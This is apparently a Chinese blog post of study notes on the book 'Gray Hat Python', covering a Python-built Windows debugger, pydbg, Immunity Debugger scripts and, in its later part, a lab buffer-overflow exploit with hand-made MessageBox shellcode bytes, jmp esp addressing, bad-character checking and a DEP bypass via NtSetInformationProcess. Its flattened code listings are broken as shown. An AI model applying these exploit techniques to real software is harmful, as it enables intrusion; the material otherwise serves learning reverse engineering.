↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑电脑端的可以看看目录

跟着学习进度不断更新中。。。。(因为懒,没更新了,也不打算继续更新文章了……)

power by 《python 灰帽子 — 黑客与逆向工程师的 Python 编程之道》

欢迎光顾我的新博客:https://www.giantbranch.cn

本文链接:http://blog.csdn.net/u012763794/article/details/52174275

自从上次读了 python 黑帽子(http://blog.csdn.net/u012763794/article/details/50612756),感觉作者写的书还不错,现在来读读 python 灰帽子吧(感谢翻译书的人,让我们有这么好的学习教材)

同样给书中全部代码链接 (代码除了常量定义,都是手敲的,还包含了我自己写的实验程序哦)(github):https://github.com/giantbranch/gray-hat-python-src

1. 操作系统准备:

这个没什么好说的了,win+linux,最好的解决方案就是虚拟机了,如果你土豪就两台电脑也是挺好的

2. 获取 python:

作者是 2.5 太老了,我们尝试 2.7 吧,很多 linux 都是自带的了,在 windows 装去吧

3. 配置编程环境开始编程吧

作者是 eclipse 和 PyDev, 其实我喜欢用用 sublime 和 pycharm

据说 ctypes 库是很多库的基础哦,什么 python 调用动态链接库,创建复杂的 C 数据类型和底层操作函数等

使用动态链接库

windows 下:

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图1

linux 下:

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图2

构造 C 数据类型

首先我们看看三者的对应关系

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图3

代码清单

  1. seitz = c_char_p("loves the python")

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图4

定义结构体和联合体

结构体

  1. struct beer_recipe{<br />int amt_barley;<br />int amt_water;<br />};
  2. #python<br />class beer_recipe(Structure):<br />_fields_ = [<br />("amt_barley", c_int),<br />("amt_water", c_int),<br />]

联合体

  1. union{<br />long barley_long;<br />int barley_int;<br />char barley_char[8]<br />}barley_amount;
  2. #python<br />class barley_amount(Union):<br />_fields_ = [<br />("barley_long", c_long),<br />("barley_int", c_int),<br />("barley_char", c_char*8),<br />]

实践一下

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图5

我去,一上来就搞这个, 既然来了,就坚持干下去

1.通用寄存器

2.栈

上面两个这些建议看其他书吧,什么加密与解密,反正逆向的书都有讲吧

3.调试事件

就是调试器捕捉到的事件,比如说什么断点触发,内存违例(也叫访问违例或者段错误),程序异常等

当调试器检测到这些事件,调用一个与之对应的处理函数

4.断点

就是想让程序在执行到什么时候,暂停下来,方便观察堆栈,寄存器和内存的数据, 破解明文比较的验证码就是这样的了

软件断点

这是一个使用最多的断点,od就是F2,本质就是一个单字节的指令,用于暂停被执行的程序,并将控制权转移给调试器的断点处理函数

这个单字节的操作码是3号中断指令(INT 3),转化成机器码(或者操作码)就是 0xCC

比如我们 要在 mov eax,ebx 处暂停,对应的机器码是 8BC3,那么下断后就变成 CCC3了

那么当我们按下分F2,调试器如何工作的呢? 首先读取目标地址的第一个字节的操作码,同时储存在内部的中断列表中,跟着就把那个字节改为CC,

当CPU执行到那,触发INT 3中断事件,调试器就捕捉到,判断这个地址(通过eip获取)是不是之前设置断点的地址,是的话就从内部的断点列表(跟上面的中断列表一个意思吧)找到这个地址,将之前储存的操作码写回该地址,

硬件断点

作用:有时候一些软件会做crc校验或其他校验,因为我们下断点改了指令,是校验值改变了,有些软件或者病毒什么的就直接退出了,

那么硬件断点就可以在 某个小区块设置断点,又不修改他们

硬件断点被设置在CPU级别,用的是特定的寄存器:调试寄存器,有8个哦(DR0-7)

0-3储存硬件断点地址,所以同一时间只能设置4个硬件断点

DR4,5保留,DR6是状态寄存器(说明了被断点触发的调试事件的类型)

DR7本质上是一个硬件断点的开关寄存器,同时储存了断点的不同类型

有以下3个类型

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图6

硬件断点是用INT 1中断(INT 1 负责硬件中断和步进事件)

由于硬件断点最多只能对4字节下断,如果要跟踪一大片区域就要用的内存断点了

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图7

内存断点

这个其实不是真的断点,其实是改变了某个块或者某个页的权限。

比如我们设置内存写入断点, 我就让这个区域没有写入权限,那么当执行到写入时,就会触发保护页异常,cpu就会暂停下来,就断下来了。

我去,看这标题好像很高大上啊,坚持!!!Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图8

3.1 尝试用python创建要调试的程序的进程

那开始吧

下面这个是储存一些配置信息的

  1. LPBYTE = POINTER(c_ubyte)DEBUG_PROCESS = 0x00000001CREATE_NEW_CONSOLE = 0x00000010class STARTUPINFO(Structure): ("dwXCountChars", DWORD), ("dwYCountChars", DWORD), ("dwFillAttribute", DWORD),class PROCESS_INFORMATION(Structure):

至于这两个数据结构可以查看msdn,下面给出STARTUPINFO截图

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图9

一个debuger类

  1. from my_debugger_defines import *kernel32 = windll.kernel32def load(self, path_to_exe): creation_flags = DEBUG_PROCESS startupinfo = STARTUPINFO() process_information = PROCESS_INFORMATION() startupinfo.dwFlags = 0x1 startupinfo.wShowWindow = 0x0 startupinfo.cb = sizeof(startupinfo)if kernel32.CreateProcessA(path_to_exe, byref(process_information)):print "[*] we have successfully launched the process!"print "[*] PID:%d" % process_information.dwProcessIdprint "[*] Error:0x%08x." % kernel32.GetLastError()

启动代码

  1. debugger = my_debugger.debugger()debugger.load("C:\\WINDOWS\\system32\\calc.exe")

结果:可以看到启动计算器成功,还获取到了其pid,但是我们的任务管理器看不到,原来是因为进程没把解密绘画到屏幕上,他在等待调试器继续执行的命令,接下来我们就去干啦~~~~

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图10

继续出发,尝试实现附加到一个正在运行的程序上面进行附加

在debugger类中加入了以下的代码

  1. def open_process(self, pid): h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, pid, False) self.h_process = self.open_process(pid)if kernel32.DebugActiveProcess(pid): self.debugger_active = Trueprint "[*] Unable to attach to the process."while self.debugger_active == True:def get_debug_event(self): debug_event = DEBUG_EVENT() continue_status = DBG_CONTINUEif kernel32.WaitForDebugEvent(byref(debug_event), INFINITE): raw_input("Press a key to continue...") self.debugger_active = False kernel32.ContinueDebugEvent(debug_event.dwProcessId,debug_event.dwThreadId, continue_status)if kernel32.DebugActiveProcessStop(self.pid):print "[*] Finished debugging. Exiting..."print "There was an error"

test.py也改一下

  1. debugger = my_debugger.debugger()pid = raw_input("Enter the PID of the process to attach to:")debugger.attach(int(pid))

常量也要加一下哦,放在报什么没定义的,将作者的代码一贴

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图11

不知道为啥附加不到计算器上 ,难道是权限问题?

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图12

附加到CTF的reverseme就可以,附加后,输入key回车后没反应,跟着我们任意按个键continue,那就从哪个进程分离了,就输出你输入的key是错误的

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图13

还发现下面两个参数调转都能运行,不过第二行的是跟windows多的一样的参数顺序

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图14

3.2 获得CPU寄存器状态

1. 枚举线程

CreateToolhelp32Snapshot可以获取线程,进程,模块,堆的信息,这里我们当然设置获取线程的信息

Thread32First枚举线程,看看他对应的进程是不是我们调试的进程

跟着就直接Thread32Next循环调用就可以了

2 .把所有的组合起来

可通过GetThreadContext获取寄存器的值,SetThreadContext可以改变他们哦

新增代码:

  1. def open_thread(self, thread_id): h_thread = kernel32.OpenThread(THREAD_ALL_ACCESS, None, thread_id)print "[*] Could not obtain a valid thread handle."def enumerate_threads(self): thread_entry = THREADENTRY32() snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, self.pid) thread_entry.dwSize = sizeof(thread_entry) success = kernel32.Thread32First(snapshot, byref(thread_entry))if thread_entry.th32OwnerProcessID == self.pid: thread_list.append(thread_entry.th32ThreadID) success = kernel32.Thread32Next(snapshot, byref(thread_entry)) kernel32.CloseHandle(snapshot)print "enumerate_threads fail."def get_thread_context(self, thread_id): context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS h_thread = self.open_thread(thread_id)if kernel32.GetThreadContext(h_thread, byref(context)): kernel32.CloseHandle(h_thread)print "get_thread_context fail."

my_test

  1. debugger = my_debugger.debugger()pid = raw_input("Enter the PID of the process to attach to:")debugger.attach(int(pid))threadList = debugger.enumerate_threads()for thread in threadList: thread_context = debugger.get_thread_context(thread)print "[*] Dumping registers for thread ID:0x%08x" % threadprint "[**] EIP:0x%08x" % thread_context.Eipprint "[**] ESP:0x%08x" % thread_context.Espprint "[**] EBP:0x%08x" % thread_context.Ebpprint "[**] EAX:0x%08x" % thread_context.Eaxprint "[**] EBX:0x%08x" % thread_context.Ebxprint "[**] ECX:0x%08x" % thread_context.Ecxprint "[**] EDX:0x%08x" % thread_context.Edx

日了dog,出来注释这个

还要把run注释掉

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图15

运行结果:可以看到我们也可以获取各个寄存器的值啦,同时这个进程有两个线程哦

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图16

3.3 实现调试事件的处理

新增了这个,mytest就看书吧

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图17

运行结果:可以获取到调试事件和线程id了(下面的get_thread_context fail.忽略,那个自己print出来的,作者那里有点问题,上面应该是传threadid的)

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图18

其中3是进程创建进程事件,6是load dll,2是创建新的线程,1是windows设置断点引发的吧,4就是线程结束自身了

  1. EXCEPTION_DEBUG_EVENT = 0x1CREATE_THREAD_DEBUG_EVENT = 0x2CREATE_PROCESS_DEBUG_EVENT = 0x3EXIT_THREAD_DEBUG_EVENT = 0x4EXIT_PROCESS_DEBUG_EVENT = 0x5LOAD_DLL_DEBUG_EVENT = 0x6UNLOAD_DLL_DEBUG_EVENT = 0x7OUTPUT_DEBUG_STRING_EVENT = 0x8

我们继续…,那个1号Code很重要,可能包括断点,访问异常或者内存访问错误。我们首先捕捉第一个windows设置的断点吧

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图19

运行结果: 可以在1号code处输出信息啦

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图20

3.4 全能的断点

1. 软件断点

我们要将0xCC写入内存,原来的指令也要读取出来吧

用的两个API ReadProcessMemory和WriteProcessMemory

加了这几个函数

  1. def read_process_memory(self, address, length): read_buf = create_string_buffer(length) if not kernel32.ReadProcessMemory(self.h_process, address, read_buf, length, byref(count)):def write_process_memory(self, address, data): c_data = c_char_p(data[count.value:])if not kernel32.WriteProcessMemory(self.h_process, address, c_data, length, byref(count)):def bp_set(self, address):if not self.breakpoints.has_key(address): original_byte = self.read_process_memory(address, 1) self.write_process_memory(address, '\xCC') self.breakpoints[address] = (address, original_byte)def func_resolve(self, dll, function): handle = kernel32.GetModuleHandleA(dll) address = kernel32.GetProcAddress(handle, function) kernel32.CloseHandle(handle)

接下来是调试下面这个python程序

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图21

不知道为啥那个断点出不来

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图22

经过排查,原来是读写内存出了问题

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图23

通过GetLastError知道错误码为6,即无效的句柄

原来这个高清电子书里面的代码是错的,就说怎么跟windows的API的参数顺序不一样呢, 不过作者给的源码是没错的

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图24

运行结果:

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图25

怎么连续断了两次,

而且紧接着下面怎么无效出现内存访问XXXXX,而且速度很快,哎这个暂时搁着吧

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图26

2. 硬件断点

代码就不贴了,主要是这三个函数,

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图27

这次是比较成功的,代码看书吧

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图28

3. 内存断点

代码:

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图29

成功:

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图30

基本上这就开发了一个基于Windows的轻量级调试器。感觉实在用python来做Win32编程Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图31

pydbg的安装可以参照这个http://blog.csdn.net/cheng\_tian/article/details/7652058

1. 扩展断点处理

代码 ,另外还用到上次的printf_loop

  1. from pydbg.defines import *def printf_randomizer(dbg): parameter_addr = dbg.context.Esp + 0x8 counter = dbg.read_process_memory(parameter_addr, 4) counter = struct.unpack("L", counter)[0]print "Counter:%d" % int(counter) random_counter = random.randint(1, 100) random_counter = struct.pack("L", random_counter)[0]print repr(random_counter) dbg.write_process_memory(parameter_addr, random_counter)pid = raw_input("Please Enter the printf_loop.py PID:")printf_address = dbg.func_resolve("msvcrt", "printf")dbg.bp_set(printf_address, description="printf_address", handler=printf_randomizer)

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图32

struct.pack用于将Python的值根据格式符,转换为字符串(因为Python中没有字节(Byte)类型,可以把这里的字符串理解为字节流,或字节数组)。

struct.unpack做的工作刚好与struct.pack相反,用于将字节流转换成python数据类型。它的函数原型为:struct.unpack(fmt, string),该函数返回一个元组。

但运行结果出问题了,第一个读取的数据不对,第二个没有写入成功,但获取最后一次错误又没有错误

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图33

根据栈的结构应该是没错的

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图34

跟着我就用od找错误去了,直接输入断在printf上

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图35

但是这里默认使用的是msvcr90这个模块

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图36

第二个断点是下面的python代码从msvcrt找到的断点

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图37

跟od的不一样,我们再看看断在msvcrt的printf的断点时的栈的结构

好像都直接优化掉了还是怎么样

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图38

到这里我想解决方法有两个:

一个将msvcrt换成msvcr90试试

另外一个就是读出esp+4后,进一步再读那个地址里面的东西,再提取出数字,

先试试第一个:将msvcrt换成msvcr90,结果还是不行Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图39 ,我是不会那么容易被打败的,上神器od,不断地对那个变化的counter下硬件写入断点,就是图中的数字,终于找到了可能突破的点,发现调用的轨迹:

call python27.PyOS_snprintf ——> msvcr90._vsnprintf —> msvcr90.printf

而参数入栈在_vsnprintf 就已经搞定了,到后面的printf直接压字符串入栈就可以了,应该msvcrt也是一样的

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图40

那么我们改成_vsnprintf 看看,好像失败了,读出后不知如何再利用读出的地址再读

但发现有个更直接的

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图41

写入时成功写入了,但好像这断点用了两次

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图42

那么我们试试当Counter为那个数值的时候直接pass掉

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图43

哈哈,成功啦

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图44

具体为什么会这样,而作者会成功呢,难道是python版本的问题?这是一个值得思考的问题

解决这个问题不容易啊~,这个问题先记在这了, 知道的各位兄弟可以评论,或者私信给我,感谢~~~~

2. 处理访问违规

当程序没权限或者以不合法的方式访问内存的时候就是访问违规,如 内存溢出,不恰当处理空指针等

首先没有utils的安装一下,参考下面的链接 :

http://www.h4ck.org.cn/2012/06/pydbg安装(《python-灰帽子》)/

代码:

  1. raw_input("Once the debugger is attached, press any key.")buffer = c_char_p("AAAAA")msvcrt.strcpy(buffer, overflow)
  1. from pydbg.defines import *if dbg.dbg.u.Exception.dwFirstChance:return DBG_EXCEPTION_NOT_HANDLED crash_bin = utils.crash_binning.crash_binning() crash_bin.record_crash(dbg)return DBG_EXCEPTION_NOT_HANDLEDpid = raw_input("Enter the Process ID:")dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, check_accessv)

怎么什么事都没发生,不科学

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图45

原来忘记打print了

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图46

运行结果:

第一个指出了那个指令引发的访问异常,及指令在那个块中

python27.dll:5c5aa6d0 mov ecx,[eax+0x10]

第二个有各个寄存器的信息,(框住的地方)

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图47

附近的汇编代码, 函数或者模块栈, 最后就是结构化异常处理程序列表

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图48

3. 进程快照

1. 获得进程快照

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图49

乱输入,再restore的时候出错了

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图50

暂时找不出原因

2.组合代码

直接给代码,但实际运行不起来啊

  1. from pydbg.defines import *dangerous_functions_resolved = {}crash_encountered = Falseprint "[*] Hit %s" % dangerous_functions_resolved[dbg.context.Eip]print "================================================================================" parameter = dbg.smart_dereference(dbg.context.Esp + esp_offset)print "[ESP + %d] => %s" % (esp_offset, parameter)print "================================================================================" dbg.suspend_all_threads()def access_violation_handler(dbg):if dbg.dbg.u.Exception.dwFirstChance:return DBG_EXCEPTION_NOT_HANDLED crash_bin = utils.crash_binning.crash_binning() crash_bin.record_crash(dbg)print crash_bin.crash_synopsis()if crash_encountered == False: dbg.suspend_all_threads()for thread_id in dbg.enumerate_threads():print "[*] Setting single step for thread:0x%08x" % thread_id h_thread = dbg.open_thread(thread_id) dbg.single_step(True, h_thread) dbg.close_handle(h_thread)return DBG_EXCEPTION_NOT_HANDLEDdef single_step_handler(dbg):if instruction_count == MAX_INSTRUCTIONS: instruction = dbg.disasm(dbg.context.Eip)print "#%d\t0x%08x : %s" % (instruction_count, dbg.context.Eip, instruction)pid = int(raw_input("Enter the PID you wish to monitor:"))for func in dangerous_functions.keys(): func_address = dbg.func_resolve(dangerous_functions[func], func)print "[*] Resolved breakpoint:%s -> 0x%08x" % (func, func_address) dbg.bp_set(func_address, handler=danger_handler) dangerous_functions_resolved[func_address] = func dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, access_violation_handler) dbg.set_callback(EXCEPTION_SINGLE_STEP, single_step_handler)

断点设置不成功Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图51

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图52

1.安装Immunity调试器

好像可能python版本过高,导致immunity调试器闪退

2.Immunity Debugger 101

界面就不用说了,跟OD差不多

1.PyCommands

我们在调试器中执行python就是使用PyCommands

基础模型:

  1. return "[*] PyCommand Executed!"

有两个必备条件:

一是main函数,只接收一个参数(由所有参数组成的python列表)

另一个是执行完成必须返回一个字符串

执行命令前在命令前加个叹号,如下

!

2.PyHooks

Immunity Debugger包含了13种不同类型的hook,每一种都能单独实现,或嵌入PyCommand

具体哪13种呢,下面的懒得打字了,截图吧

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图53 Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图54 Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图55

3.Exploit开发

其实是利用Pycommands加速exploit开发吧

注意写完后的脚本放到PyCommands目录就行了

1.找出友好的利用指令

尝试运行出错了

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图56

这个作者的代码有点老了,immunity的API更新了据说,有些函数是小写开头的,修改处已圈出

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图57

打开一个ctf的crackme 运行脚本看看

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图58

可以看到找到了两个可利用的地址

可以看到参数是以元组进行传递的

我们利用join将元组转化为字符串,

再利用assemble函数将他转化为十六进制指令 ff e4

2.过滤有害字符

什么是有害字符呢,加入我们在strcpy调用中发现缓冲区溢出,我们的利用代码就不能包含NULL字符(0x00),因为strcpy一遇到NULL字符就会停止拷贝数据

因此要先将shellcode编码,执行再解码

有各种原因导致exploit编写失败,比如有多重的字符编码

20160818

这一课非常心累,作者就草草地说一下,并没有给缓冲区溢出的程序(还要自己写一下缓冲区溢出的实例),而且immunity_debugger又各种问题,第一闪退,有些版本还是无法调试的,能调试的又运行不了脚本,没做过真是不知其中的痛苦啊

首先来个缓冲区溢出的代码,我还是另外搞一篇我的第一个缓冲区溢出实例

以下代码灵感来源于0day安全

  1. int overflow_here(char *key){ LoadLibrary("user32.dll");if (!(fp = fopen("key.txt", "rw+"))){printf("come on, overflow me!");

那我们先用之前的findinstruction来找jmp esp吧

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图59

用第一个吧

0x77562fbd

这个地址 不同机器,或者重启后就改变了的,注意哦

接下制作我们的弹框shellcode,直接用od就可以制作啦

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图60

跟着可以这样复制出来

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图61

一粘贴就是下面的效果
33 DB 53 68 6E 63 68 21 68 74 62 72 61 68 67 69 61 6E 8B C4 53 50 50 53 B8 D6 FC C0 76 FF D0

标红的部分要根据当前机器的MessageBox的地址作相应修改

最后用16进制工具编辑成这样(注意我们输入的地址要小端模式哦),那个messageBox代码就不用逆序了,如果在你电脑上就要看看messageBox的地址是不是我这个了,不是就要改了[我的环境是win 7 64位]

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图62

用od调试看看,可以看到返回地址被我们覆盖了

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图63

F9直接让od运行吧,成功弹窗实验成功

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图64

现在才开始我们的书里面的badchar的运行,载入Immunity Debugger,运行到strcpy的下一句,执行一下badchar脚本

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图65

badchar代码:(作者的代码的变量是有问题的,这里已修复)

  1. address = int(args[0], 16) shellcode = "33DB53686E6368216874627261686769616E8BC453505053B8D6FCC076FFD0" shellcode_length = len(shellcode) debug_shellcode = imm.readMemory(address, shellcode_length) debug_shellcode = debug_shellcode.encode("HEX") imm.log("Address:0x%08x" % address) imm.log("Shellcode Length:%d" % shellcode_length) imm.log("Attack Shellcode:%s" % shellcode[:512]) imm.log("In Memory Shellcode:%s" % debug_shellcode[:512])while count <= shellcode_length:if debug_shellcode[count].lower() != shellcode[count].lower(): imm.log("Bad Char Detected at offset %d" % count) imm.log("Bad character found:%s" % debug_shellcode[count]) imm.log("Bad character original:%s" % shellcode[count])return "[*] !badchar finished,check Log window"

运行结果如下:

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图66

看来我们要把我们的shellcode的大写字母改为小写,或者改写代码如下

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图67

再看看结果:

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图68

其实就是快速地比较内存中的shellcode跟我输入的有什么不同,

大家有没看到,他比较到第54,应该是第55个,就是 FCC076的第二个C,

因为重开机后我的MessageBox的地址变了,所以我把key.txt的字节改了下,而没有改原来的代码所以就出现这种情况,其实也可以看到不用人工一个个去查看到底是哪里不同了。

3.绕过windows的DEP

简单来说DEP就是让你不能在栈或堆上执行代码,就是没有那个执行权限

这能阻止非常多的漏洞利用代码运行,因为大多的 exploit 都会把shellcode 放在堆栈上。然而有一个技巧能巧妙的绕过 DEP,利用微软未公布的 API 函数NtSetInformationProcess()。 它能够阻止进程的 DEP 保护, 将程序的执行权限转移到 shellcode。Immunity 调试器提供了一个 PyCommand 命令findantidep.py 能够很容易找到 DEP 的地址。

这个函数如下

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图69

为了使进程的 DEP 保护失效,需要将 NtSetInformationProcess()的ProcessInformationClass 函数设置成 ProcessExecuteFlags (0x22),将 ProcessInformation 参数设置 MEM_EXECUTE_OPTION_ENABLE (0x2)。 问题是在 shellcode 中调用这个函数将会出现 NULL 字符。解决的方法是找到一个正常调用了 NtSetInformationProcess()的函数,再将我们的 shellcode 拷贝到这个函数里。已经有一个已知的点就在 ntdll.dll 里。

我找了一下,只找到了调用这个函数的地方

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图70

作者给的是这样的

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图71

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图72

findantidep.py已经在PyCommands的文件夹里面的了

直接载入我自己写的缓冲区溢出程序,开始执行

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图73

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图74

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图75

一共三个地址,下面是运行结果

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图76

看看输出结果,确实非常方便,可以反DEP,0基础反DEP啊

我尝试看看代码

查找第一个地址是 查找 MOV AL,1\nRET,即使AL置1,跟着返回,

